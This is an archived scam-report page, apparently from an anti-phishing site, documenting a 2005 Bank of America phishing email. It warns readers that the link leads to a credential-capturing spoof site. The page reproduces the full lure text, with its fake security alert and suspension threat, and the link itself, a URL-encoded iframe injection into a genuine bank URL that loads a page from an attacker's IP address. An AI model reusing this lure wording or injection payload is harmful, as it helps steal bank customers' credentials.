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Error: Your Bank of America Account

Bank of America


 

 
Scam Report
Date Reported: 11th April 2005 Whats this? Risk Level: MEDIUM Whats this?
 
Details
 
Email Subject:
 Error: Your Bank of America Account
Apparent Sender:
 Bank of America Whats this?
Return Address:
 Bank of America Representative: Clare Cooke < Fredric.Shaffer@bankofamerica.com > Whats this?
Email Format:  HTML Whats this?
 
URL of Web Content:
 http://200.126.197.148/bin/ Whats this?
Location:
 Buenos Aires, Argentina Whats this?
 
Scam number:
 aa-289
 
Comments:
  • Email asks you to confirm/update/verify your account data at Bank of America by visiting the given link. You will be taken to a spoof website where your details will be captured for the phishers.


  • Bank of America never send their users emails requesting personal details in this way.


  • The REAL URL of the spoof website looks nothing like the actual Bank of America URL.
     
Content
 
 
 
"Bank of America is committed to maintaining a safe environment for its community of buyers and sellers."

Bank of America is committed to maintaining a safe environment for its community of buyers and sellers. To protect the security of your account, Bank of America employs some of the most advanced security systems in the world and our anti-fraud teams regularly screen the Bank of America system for unusual activity.

We recently have determined that different computers have logged onto your Bank of America Online Banking account, and multiple password failures were present before the logons. We now need you to re-confirm your account information to us. If this is not completed by April 14, 2005, we will be forced to suspend your account indefinitely, as it may have been used for fraudulent purposes. We thank you for your cooperation in this manner. In order to confirm your Online Bank records, we may require some specific information from you.

Click below to verify your account

http://www.bankofamerica.com/state.cgi? section=generic&update=no&cookiecheck= yes&context=&url=">%3Ciframe+style%3D% 22top%3A120%3B+left%3A20%3B+position%3 Aabsolute%3B%22+FRAMEBORDER%3D%220%22+ BORDER%3D%220%22+width%3D800+height%3D 550+src%3D%22http%3A%2F%2F200.126.197. 148/bin/%2F%22%3E

Thank you for your prompt attention to this matter. Please understand that this is a security measure meant to help protect you and your account.

We apologize for any inconvenience.

If you choose to ignore our request, you leave us no choice but to temporaly suspend your account.

Thank you for using Bank of America!
 
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